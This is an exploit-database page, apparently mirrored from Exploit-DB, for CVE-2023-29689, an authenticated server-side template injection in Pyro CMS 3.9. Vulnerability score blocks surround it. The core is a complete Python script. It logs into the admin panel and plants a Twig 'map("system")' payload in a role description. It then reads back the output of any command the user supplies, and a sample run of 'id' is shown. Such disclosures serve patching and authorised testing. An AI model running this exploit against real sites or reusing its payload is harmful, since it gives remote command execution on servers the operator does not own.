Lucene search

K
exploitdbDaniel BarrosEDB-ID:51669
HistoryAug 08, 2023 - 12:00 a.m.

Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)

2023-08-0800:00:00
Daniel Barros
www.exploit-db.com
131
pyro cms 3.9
ssti
server-side template injection
authenticated
cve-2023-29689
hakai offensive security
pyrocms
user privilege
command execution

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.006 Low

EPSS

Percentile

78.3%

# Exploit Title: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
# Date: 03/08/2023
# Vendor: https://pyrocms.com/
# Software Link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
# Vulnerable Version(s): 3.9
# CVE: CVE-2023-29689
# Notes: You need a user who has access to /admin privilege

# Example Usage:
# First, run the script: python3 CVE-2023-29689.py
# Please follow these steps:
# 1. Enter the application URL: http://localhost:8000
# 2. Enter the email for authentication: [email protected]
# 3. Enter the password: Admin@@2023
# 4. Enter the command to be executed: id
# Result of command execution:
# uid=1000(cupcake) gid=1000(cupcake) groups=1000(cupcake)

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

def login(session, url, email, password):
    login_url = urljoin(url, '/admin/login')
    response = session.get(login_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'email': email,
        'password': password
    }

    session.post(login_url, data=payload)

# Function to edit role 1 and extract the Description of the Admin user.
def edit_role_and_extract_description(session, url, command):
    edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
    response = session.get(edit_role_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'name_en': 'Admin',
        'slug': 'admin',
        'description_en': f'{{{{["{command}"]|map("system")|join}}}}',
        'action': 'save_exit'
    }

    session.post(edit_role_url, data=payload)

    # Extract the updated Description from role 1.
    response = session.get(urljoin(url, '/admin/users/roles'))
    soup = BeautifulSoup(response.content, 'html.parser')
    description = soup.find('td', {'data-title': 'Description'}).text.strip()

    return description
    
def main():
    url = input("Enter the application URL: ")
    email = input("Enter the email for authentication: ")
    password = input("Enter the password : ")
    command = input("Enter the command to be executed: ")

    with requests.Session() as session:
        login(session, url, email, password)
        description = edit_role_and_extract_description(session, url, command)
        print("\nResult of command execution:")
        print(description)

if __name__ == "__main__":
    main()

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.006 Low

EPSS

Percentile

78.3%